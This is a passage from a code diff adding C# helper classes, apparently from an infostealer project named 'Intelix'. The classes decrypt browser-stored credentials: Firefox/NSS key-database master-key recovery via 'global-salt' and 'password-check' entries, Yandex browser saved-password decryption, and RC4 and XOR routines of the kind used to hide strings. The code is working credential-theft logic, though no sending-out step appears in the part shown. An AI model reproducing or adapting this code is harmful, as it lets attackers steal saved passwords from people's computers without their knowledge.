}).FirstOrDefault();
if (text2 == null)
{
return null;
}
text2 = text2.Replace("-", null);
TripleDes tripleDes = new TripleDes(HexToBytes(text2), Encoding.ASCII.GetBytes(""), HexToBytes(hexString));
tripleDes.ComputeVoid();
if (!TripleDes.DecryptStringDesCbc(tripleDes.Key, tripleDes.Vector, HexToBytes(hexString2)).StartsWith("password-check"))
{
return null;
}
string text3 = (from p in berkeleyDB.Keys
where !p.Key.Equals("global-salt") && !p.Key.Equals("Version") && !p.Key.Equals("password-check")
select p.Value).FirstOrDefault();
if (text3 == null)
{
return null;
}
text3 = text3.Replace("-", "");
Asn1DerObject asn1DerObject = asn1Der.Parse(HexToBytes(text3));
TripleDes tripleDes2 = new TripleDes(HexToBytes(text2), Encoding.ASCII.GetBytes(""), asn1DerObject.Objects[0].Objects[0].Objects[1].Objects[0].Data);
tripleDes2.ComputeVoid();
byte[] toParse = TripleDes.DecryptByteDesCbc(tripleDes2.Key, tripleDes2.Vector, asn1DerObject.Objects[0].Objects[1].Data);
Asn1DerObject asn1DerObject2 = asn1Der.Parse(toParse);
Asn1DerObject asn1DerObject3 = asn1Der.Parse(asn1DerObject2.Objects[0].Objects[2].Data);
byte[] array2 = new byte[24];
if (asn1DerObject3.Objects[0].Objects[3].Data.Length > 24)
{
Array.Copy(asn1DerObject3.Objects[0].Objects[3].Data, asn1DerObject3.Objects[0].Objects[3].Data.Length - 24, array2, 0, 24);
}
else
{
array2 = asn1DerObject3.Objects[0].Objects[3].Data;
}
return array2;
}
public static byte[] HexToBytes(string hexString)
{
if (hexString.Length % 2 != 0)
{
return null;
}
byte[] array = new byte[hexString.Length / 2];
for (int i = 0; i < array.Length; i++)
{
string s = hexString.Substring(i * 2, 2);
array[i] = byte.Parse(s, NumberStyles.HexNumber, CultureInfo.InvariantCulture);
}
return array;
}
}
+50
View File
@@ -0,0 +1,50 @@
namespace Intelix.Helper.Encrypted;
public class RC4Crypt
{
public static byte[] Decrypt(byte[] key, byte[] data)
{
if (key == null)
{
return null;
}
if (key.Length == 0)
{
return null;
}
if (data == null)
{
return null;
}
byte[] array = new byte[256];
for (int i = 0; i < 256; i++)
{
array[i] = (byte)i;
}
int num = 0;
for (int j = 0; j < 256; j++)
{
num = (num + array[j] + key[j % key.Length]) & 0xFF;
Swap(array, j, num);
}
byte[] array2 = new byte[data.Length];
int num2 = 0;
num = 0;
for (int k = 0; k < data.Length; k++)
{
num2 = (num2 + 1) & 0xFF;
num = (num + array[num2]) & 0xFF;
Swap(array, num2, num);
byte b = array[(array[num2] + array[num]) & 0xFF];
array2[k] = (byte)(data[k] ^ b);
}
return array2;
}
private static void Swap(byte[] arr, int a, int b)
{
byte b2 = arr[a];
arr[a] = arr[b];
arr[b] = b2;
}
}
+163
View File
@@ -0,0 +1,163 @@
using System;
using System.IO;
using System.Security.Cryptography;
namespace Intelix.Helper.Encrypted;
internal class TripleDes
{
private byte[] CipherText { get; }
private byte[] GlobalSalt { get; }
private byte[] MasterPassword { get; }
private byte[] EntrySalt { get; }
public byte[] Key { get; private set; }
public byte[] Vector { get; private set; }
public TripleDes(byte[] cipherText, byte[] globalSalt, byte[] masterPass, byte[] entrySalt)
{
CipherText = cipherText;
GlobalSalt = globalSalt;
MasterPassword = masterPass;
EntrySalt = entrySalt;
}
public TripleDes(byte[] globalSalt, byte[] masterPassword, byte[] entrySalt)
{
GlobalSalt = globalSalt;
MasterPassword = masterPassword;
EntrySalt = entrySalt;
}
public void ComputeVoid()
{
SHA1CryptoServiceProvider sHA1CryptoServiceProvider = new SHA1CryptoServiceProvider();
byte[] array = new byte[GlobalSalt.Length + MasterPassword.Length];
Array.Copy(GlobalSalt, 0, array, 0, GlobalSalt.Length);
Array.Copy(MasterPassword, 0, array, GlobalSalt.Length, MasterPassword.Length);
byte[] array2 = sHA1CryptoServiceProvider.ComputeHash(array);
byte[] array3 = new byte[array2.Length + EntrySalt.Length];
Array.Copy(array2, 0, array3, 0, array2.Length);
Array.Copy(EntrySalt, 0, array3, array2.Length, EntrySalt.Length);
byte[] key = sHA1CryptoServiceProvider.ComputeHash(array3);
byte[] array4 = new byte[20];
Array.Copy(EntrySalt, 0, array4, 0, EntrySalt.Length);
for (int i = EntrySalt.Length; i < 20; i++)
{
array4[i] = 0;
}
byte[] array5 = new byte[array4.Length + EntrySalt.Length];
Array.Copy(array4, 0, array5, 0, array4.Length);
Array.Copy(EntrySalt, 0, array5, array4.Length, EntrySalt.Length);
byte[] array6;
byte[] array9;
using (HMACSHA1 hMACSHA = new HMACSHA1(key))
{
array6 = hMACSHA.ComputeHash(array5);
byte[] array7 = hMACSHA.ComputeHash(array4);
byte[] array8 = new byte[array7.Length + EntrySalt.Length];
Array.Copy(array7, 0, array8, 0, array7.Length);
Array.Copy(EntrySalt, 0, array8, array7.Length, EntrySalt.Length);
array9 = hMACSHA.ComputeHash(array8);
}
byte[] array10 = new byte[array6.Length + array9.Length];
Array.Copy(array6, 0, array10, 0, array6.Length);
Array.Copy(array9, 0, array10, array6.Length, array9.Length);
Key = new byte[24];
for (int j = 0; j < Key.Length; j++)
{
Key[j] = array10[j];
}
Vector = new byte[8];
int num = Vector.Length - 1;
for (int num2 = array10.Length - 1; num2 >= array10.Length - Vector.Length; num2--)
{
Vector[num] = array10[num2];
num--;
}
}
public byte[] Compute()
{
byte[] array = new byte[GlobalSalt.Length + MasterPassword.Length];
Buffer.BlockCopy(GlobalSalt, 0, array, 0, GlobalSalt.Length);
Buffer.BlockCopy(MasterPassword, 0, array, GlobalSalt.Length, MasterPassword.Length);
byte[] array2 = new SHA1Managed().ComputeHash(array);
byte[] array3 = new byte[array2.Length + EntrySalt.Length];
Buffer.BlockCopy(array2, 0, array3, 0, array2.Length);
Buffer.BlockCopy(EntrySalt, 0, array3, EntrySalt.Length, array2.Length);
byte[] key = new SHA1Managed().ComputeHash(array3);
byte[] array4 = new byte[20];
Array.Copy(EntrySalt, 0, array4, 0, EntrySalt.Length);
for (int i = EntrySalt.Length; i < 20; i++)
{
array4[i] = 0;
}
byte[] array5 = new byte[array4.Length + EntrySalt.Length];
Array.Copy(array4, 0, array5, 0, array4.Length);
Array.Copy(EntrySalt, 0, array5, array4.Length, EntrySalt.Length);
byte[] array6;
byte[] array9;
using (HMACSHA1 hMACSHA = new HMACSHA1(key))
{
array6 = hMACSHA.ComputeHash(array5);
byte[] array7 = hMACSHA.ComputeHash(array4);
byte[] array8 = new byte[array7.Length + EntrySalt.Length];
Buffer.BlockCopy(array7, 0, array8, 0, array7.Length);
Buffer.BlockCopy(EntrySalt, 0, array8, array7.Length, EntrySalt.Length);
array9 = hMACSHA.ComputeHash(array8);
}
byte[] array10 = new byte[array6.Length + array9.Length];
Array.Copy(array6, 0, array10, 0, array6.Length);
Array.Copy(array9, 0, array10, array6.Length, array9.Length);
Key = new byte[24];
for (int j = 0; j < Key.Length; j++)
{
Key[j] = array10[j];
}
Vector = new byte[8];
int num = Vector.Length - 1;
for (int num2 = array10.Length - 1; num2 >= array10.Length - Vector.Length; num2--)
{
Vector[num] = array10[num2];
num--;
}
byte[] sourceArray = DecryptByteDesCbc(Key, Vector, CipherText);
byte[] array11 = new byte[24];
Array.Copy(sourceArray, array11, array11.Length);
return array11;
}
public static string DecryptStringDesCbc(byte[] key, byte[] iv, byte[] input)
{
using TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider();
tripleDESCryptoServiceProvider.Key = key;
tripleDESCryptoServiceProvider.IV = iv;
tripleDESCryptoServiceProvider.Mode = CipherMode.CBC;
tripleDESCryptoServiceProvider.Padding = PaddingMode.None;
ICryptoTransform transform = tripleDESCryptoServiceProvider.CreateDecryptor(tripleDESCryptoServiceProvider.Key, tripleDESCryptoServiceProvider.IV);
using MemoryStream stream = new MemoryStream(input);
using CryptoStream stream2 = new CryptoStream(stream, transform, CryptoStreamMode.Read);
using StreamReader streamReader = new StreamReader(stream2);
return streamReader.ReadToEnd();
}
public static byte[] DecryptByteDesCbc(byte[] key, byte[] iv, byte[] input)
{
byte[] array = new byte[512];
using TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider();
tripleDESCryptoServiceProvider.Key = key;
tripleDESCryptoServiceProvider.IV = iv;
tripleDESCryptoServiceProvider.Mode = CipherMode.CBC;
tripleDESCryptoServiceProvider.Padding = PaddingMode.None;
ICryptoTransform transform = tripleDESCryptoServiceProvider.CreateDecryptor(tripleDESCryptoServiceProvider.Key, tripleDESCryptoServiceProvider.IV);
using MemoryStream stream = new MemoryStream(input);
using CryptoStream cryptoStream = new CryptoStream(stream, transform, CryptoStreamMode.Read);
cryptoStream.Read(array, 0, array.Length);
return array;
}
}
+16
View File
@@ -0,0 +1,16 @@
using System.Text;
namespace Intelix.Helper.Encrypted;
public static class Xor
{
public static string DecryptString(string input, byte key)
{
byte[] bytes = Encoding.UTF8.GetBytes(input);
for (int i = 0; i < bytes.Length; i++)
{
bytes[i] ^= key;
}
return Encoding.UTF8.GetString(bytes);
}
}
@@ -0,0 +1,45 @@
using System;
using System.Security.Cryptography;
using System.Text;
namespace Intelix.Helper.Encrypted;
public static class YaAuthenticatedData
{
public static byte[] Decrypt(byte[] encryptionKey, byte[] password_value, string url, string username_element, string password_element, string username_value, string signon_realm)
{
byte[] aad = new byte[0];
using (SHA1 sHA = SHA1.Create())
{
byte[] bytes = Encoding.UTF8.GetBytes(url);
byte[] bytes2 = Encoding.UTF8.GetBytes(username_element);
byte[] bytes3 = Encoding.UTF8.GetBytes(username_value);
byte[] bytes4 = Encoding.UTF8.GetBytes(password_element);
byte[] bytes5 = Encoding.UTF8.GetBytes(signon_realm);
byte[] array = new byte[bytes.Length + 1 + bytes2.Length + 1 + bytes3.Length + 1 + bytes4.Length + 1 + bytes5.Length];
int num = 0;
Array.Copy(bytes, 0, array, num, bytes.Length);
num += bytes.Length;
array[num++] = 0;
Array.Copy(bytes2, 0, array, num, bytes2.Length);
num += bytes2.Length;
array[num++] = 0;
Array.Copy(bytes3, 0, array, num, bytes3.Length);
num += bytes3.Length;
array[num++] = 0;
Array.Copy(bytes4, 0, array, num, bytes4.Length);
num += bytes4.Length;
array[num++] = 0;
Array.Copy(bytes5, 0, array, num, bytes5.Length);
aad = sHA.ComputeHash(array);
}
byte[] array2 = new byte[12];
Array.Copy(password_value, 0, array2, 0, 12);
int num2 = password_value.Length - 12 - 16;
byte[] array3 = new byte[num2];
Array.Copy(password_value, 12, array3, 0, num2);
byte[] array4 = new byte[16];
Array.Copy(password_value, password_value.Length - 16, array4, 0, 16);
return AesGcm256.Decrypt(encryptionKey, array2, aad, array3, array4);
}
}